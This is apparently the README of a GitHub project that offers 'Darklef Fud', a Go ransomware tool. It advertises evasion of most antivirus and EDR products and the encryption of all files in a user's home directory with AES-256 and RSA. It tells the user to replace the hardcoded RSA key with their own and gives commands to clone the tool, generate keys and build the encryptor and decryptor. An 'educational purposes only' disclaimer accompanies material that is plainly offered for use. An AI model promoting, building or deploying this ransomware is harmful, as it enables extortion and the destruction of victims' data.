darkleffud

README

Darklef Fud By Cyber Warrior

A fast cross-platform ransomware

Description:

Ransomware is a type of malicious software (malware) that cybercriminals use to block access to a victim's computer system or encrypt their files, demanding a ransom for the decryption key. Once the ransomware is installed, it typically restricts access by either locking the system or encrypting files, making them unusable. Victims are then notified that they must pay a ransom, often in cryptocurrency, to regain access to their data.

Warning:

This tool is made for educational purposes only. The developer is not responsible for any misuse or unintended consequences arising from the use of this tool.

Features:

• Undetectable by most AV/EDR solutions

• Written in Go

• Encrypts all files in user's home directory

• Very fast encryption speed

Technical details:

• AES-256-CBC for encrypting files
• RSA for encrypting AES-256 key

Tip: Replace hardcoded RSA public key in code with your own

Installation:

$ sudo apt update
$ sudo apt install openssl
$ git clone https://github.com/Darkl3f/darkleffud.git
$ cd darkleffud/
$ openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048
$ openssl rsa -pubout -in private_key.pem -out public_key.pem
$ go build darkleffud.go
$ go build decryptor.go

Results(no code obfuscation):

License

Distributed under the MIT License. See LICENSE for more information.